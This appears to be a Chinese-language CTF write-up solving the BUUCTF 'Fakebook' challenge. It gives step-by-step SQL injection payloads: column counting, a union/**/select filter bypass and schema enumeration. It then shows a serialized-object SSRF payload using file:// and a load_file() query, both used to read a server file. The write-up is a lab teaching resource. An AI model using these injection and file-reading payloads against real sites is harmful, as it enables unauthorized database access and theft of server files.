BUUCTF[网鼎杯 2018]Fakebook 1

 来到首页先创建了一个用户

点击自己创建的用户admin:

发现url 疑似有sql注入。

  ?n=1 and 1=1 正常回显

  ?n=1 and 1=2 回显异常(存在SQL注入)

  ?n=1 order by 1# 正常回显

  ?n=1 order by 2# 正常回显

  ?n=1 order by 3# 正常回显

  ?n=1 order by 4# 正常回显

  ?n=1 order by 5# 回显异常(判断存在4个字段)

直接联合查询,发现 union select被过滤掉了

绕过过滤有挺多方法的 这里:SQL注入绕过关键词

我使用注释符绕过:union/**/select

?no=-1 union/**/select 1,database(),3,4# (查数据库) 发现 'fakebook'
  ?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# (查表名) 发现'users'
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#    (查字段)   字段名'no,username,data'

 因为no(类似id号),username,passwd都是已知的,所以我们查询data

?no=-1 union/**/select 1,data,3,4 from users#  查询data的结果

 好像是考察反序列化的题。。但是没有源码。。我看了下其他师傅的wp,扫下路径可以扫出flag.php和robots.txt   

但是flag.php没有内容(盲猜 flag在这个文件里)。

        打开robots.txt看看

发现

User-agent: *
Disallow: /user.php.bak

 那就访问一下/user.php.bak

emmmm。。开始代码审计

先从这里看

 

这个地方是直接吧blog当作参数传给get()函数,url没有经过任何限制,是存在ssrf的。这个地方可以使用file:///var/www/html/flag.php读取flag.php,构造payload

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

然后在源代码里就能找到base64加密的Flag

还有一种方法,也是看到大佬的wp才知道的

直接在url里查看用户的权限 

?no=0 /**/union /**/select 1,user(),3,4#

 发现用户是root

就可以用load_file()构造语句直接查询 flag.php里面的内容

?no=0 union/ ** /select /**/1,load_file("/var/www/html/flag.php"),3,4#

查看源代码即可看到flag

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值